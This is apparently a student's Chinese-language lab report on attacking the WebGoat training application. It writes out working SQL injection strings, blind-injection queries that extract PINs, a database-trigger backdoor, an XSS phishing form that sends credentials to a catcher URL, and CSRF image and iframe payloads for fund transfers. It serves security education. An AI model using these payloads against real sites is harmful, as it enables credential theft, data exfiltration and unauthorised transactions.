20175103王伟泽 Exp9 Web安全基础
一、实验前准备
1.实验对象
Linux kali
2.实验目标
做不少于7个题目。
3.实验知识点
1)Webgoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
2)SQL注入
- SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
- SQL注入攻击属于数据库安全攻击手段之一,可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。
- SQL注入攻击会导致的数据库安全风险包括:刷库、拖库、撞库。
3)跨站脚本攻击(XSS攻击)
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
4)跨站请求伪造(CSRF)
CSRF(Cross-site request forgery),简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
二、实验内容
1.安装以及运行Webgoat
首先,下载webgoat-container-7.0.1-war-exec.jar文件到虚拟机中。因为Webgoat使用jdk 1.8编译,所以我们要提前下好jdk 1.8版本。
完成后在虚拟机中打开终端,以root权限进入该文件放置的目录,输入指令:java -jar webgoat-container-7.0.1-war-exec.jar
启动Webgoat服务,出现如下内容说明运行成功。
在实验过程中不能关闭终端。
打开网页浏览器,输入网址http://localhost:8080/WebGoat
进入Webgoat登陆界面。
使用下方所给账户密码登录。运行Webgoat完成。
2.SQL注入攻击
1)Command Injection(命令注入)
在提交给网页的内容中添加一些可识别的命令,从而达到在网页上执行命令的目的。
进入后,在左侧菜单界面中选择Injection Flaws
,后选择Command Injection
,进入页面。
在页面内点击鼠标右键,会弹出一个网页相关菜单。
点击Inspect Element
来查看网页源代码,在里面找到如图所示的内容即
然后点击页面中的view
按钮,可以发现显示出了该网站的网络端口使用情况以及IP地址。
2)Numeric SQL Injection(数字型SQL注入)
通过使用一些如'
、or
等SQL语言所用的元素改变数据库运行的SQL代码,从而达到目的。
在左侧菜单中选择第二个小部分Numeric SQL Injection
,进入页面。
同上面一样的步骤,在页面中打开网页菜单进而查看网页源代码。其中找到控制输入栏的代码,在value="101"
的101后加入 or 1=1
。
接下来,点击页面中的GO!
,发现显示出了数据库中所有的数据。
3)Log Spoofing(日志欺骗)
开始下一个学习内容,这个攻击就是通过指令修改日志中的内容,可以用来清除浏览者的浏览痕迹。
点击左边菜单中的Log Spoofing
,进入页面,在User name中输入webgoat%0d%0aLogin Succeeded for username: wwz20175103
。然后点击Login登录,就可以看到下面的两条记录,修改完成。
4)String SQL Injection(字符串型注入)
进行下一项任务。利用SQL攻击技巧构造修改查询语句,从而显示数据库中所有内容。
点击左边菜单中的String SQL Injection
,进行字符串型注入。
在查询栏中输入wwz' or 1=1--
,其中'
作用是与前面的'形成提前闭合,--为注释符,将后面的代码注释掉。可以发现显示出了数据库中的所有内容。
5)LAB: SQL Injection
应用技巧绕过数据库检测。
下一项,在左边菜单中选择LAB: SQL Injection
,进入页面,在其中按上述相同方法打开页面源代码,找到下面如图的位置,将password
长度限制改为20,输入框改为20。
在页面中使用用户Neville
来登录,输入密码为wwz' or '1'='1
。登陆后可以看到所有人员的列表。
6)Database Backdoors(数据库后门)
在数据库中,触发器是一个很常用的东西,也是经常被攻击者所利用的东西。我们利用查询来构造触发器。
下一项,在左边菜单中点击Database Backdoors
,进入页面。输入101,得到相应的用户信息。
输入攻击语句101; update employee set salary=10000
来执行这两条指令。
输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='chaowendao@outlook.com'WHERE userid = NEW.userid
来诸如一个构造的触发器。其中BEFORE/AFTER
设定了触发执行时间,之前或是之后,FOR EACH ROW
表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次。
7)Blind Numeric SQL Injection(数字型盲注入)
一些攻击情况中,数据库并不会返回明确的提示信息,这时候就需要我们利用一些特殊的表现来判断。
本题要求:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
本页面只会给出对错。首先输入查询语句101 AND 1=1
,因为都正确,因此返回账号有效。
输入指令101 AND 1=2
,因为后半部分错误,所以页面返回账号无效。
构造出复杂查询语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
根据提示可以进行判断,如果提示帐号有效,说明PIN>10000,否则PIN<=10000;进而不断调整语句,利用二分法不断缩小范围,最终可以判断出PIN值大小为2364.
输入PIN值2364
,显示有效。
8)Blind String SQL Injection(字符串型盲注入)
下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或 假)测试检查数据库中其它条目信息。
我们的任务是找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交完成。
输入指令101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
来取得第一个字母判断是否比H
小。
经过多次比较,可以判断出第一个字符为J
,接下来重复操作,判断第二个字符,输入指令101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
。
最终验证得到PIN字符串为Jill
。输入验证。
3.XSS攻击
1)Phishing with XSS (跨站脚本钓鱼攻击)
跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam。
在搜索框输入如下代码
<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
提交后,发现出现了账号密码提交框。在其中输入账号密码,发现成功捕获到。
2)存储型XSS攻击(Stored XSS Attacks)
这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
当其他人打开网页时,会触发代码,创建非法的内容。
左边菜单中点击Stored XSS Attacks
,打开页面,在title栏中输入学号,留言板中输入<script>alert("You've been attacked!!! ^_^");</script>
,提交。
成功攻击。
3)反射型XSS攻击(Reflected XSS Attacks)
通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击。
进入下一个课程,输入指令<script>alert("You've been attacked!!!^_^");</script>
,点击purchase
,显示攻击成功。
4.CSRF攻击
1)跨站请求伪造(Cross Site Request Forgery (CSRF))
跨站请求伪造是一种让受害者加载一个包含网页的图片来进行的一种攻击手段。其攻击代码如下所示:
<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
。
当出现该图片时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。但它实际是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者未授权地进行网站提供的任何其他功能。
左边菜单进入该课程,在右侧可以看到Parameters中的src和menu值。
title中输入自己的学号,信息框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />
将URL以图片的形式放入信息框中,用户只能看到图片,而看不到URL,点击后,就会触发事件,完成转走用户的5000元的操作。
2)绕过 CSRF 确认( CSRF Prompt By‐Pass)
通过一些操作绕过网页的提示消息。
左边菜单进入课程,查看页面右侧Parameters中的src和menu值,在title中输入学号,消息栏中输入。
<iframe src="attack?Screen=326&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=326&menu=900&transferFunds=CONFIRM"> </iframe>
可以看到在Message List中生成以Title命名的链接,点击进入后,攻击成功。
三、实验总结
1.实验所遇问题
遇到最多的问题就是刚开始使用Webgoat时登陆后无法看到菜单。
解决方法:我重新下载了最新版jdk 1.8,重新装载后成功出现。
2.基础问题回答
-
SQL注入攻击原理,如何防御
在我理解中,所谓SQL注入攻击就是利用数据库中SQL语言的语法,如果设计者对访问者输入内容不做限制,那么就可以应用如'
、or
等语法将原本将要执行的SQL语句进行修改,改为自己想要执行的命令,从而完成攻击。
因此要想防御SQL注入攻击,首先要限制输入内容,比如不可以出现SQL语句中的内容,或者限制输入长度。此外,可以应用更复杂的提交方法,而不是简单的直接应用输入文本内容。对输入的内容要进行检查。防止SQL攻击。 -
XSS攻击的原理,如何防御
XSS是针对网站应用程序的安全漏洞进行的攻击,也是一种代码注入攻击。攻击者将应用网站可识别代码如HTML以及脚本语言注入到网站上的源代码中,其他用户在访问时就会受到影响。该攻击主要想要获取用户的在相应网站上的cookie,从而在未授权的情况下代替被攻击者进行相应的网站操作。
防御该种攻击,同要需要在提交阶段进行检验,防止输入一些攻击代码。此外,可以减少用户相应网站cookie清除的周期。 -
CSRF攻击原理,如何防御
该种攻击和XSS攻击较为相似,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,但是相比起XSS利用用户对指定网站的信任,CSRF利用的则是网站对用户网页浏览器的信任。
防御:可以通过检查Referer字段。通过该字段可以识别出恶意网址,但是该种方法有缺陷,即攻击者可能会修改该字段从而避免被查出。此外可以添加校验token,因为CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。
3.实验感悟
经过了漫长的学习,本学期的实验正式结束了,这么长时间的学习、实践,给我带来的帮助是很多的,包括提高了我的动手能力,让我对网络攻防的实践不断更加了解;对各种不同攻击方法以及原理也逐渐掌握,一路走来,收获满满!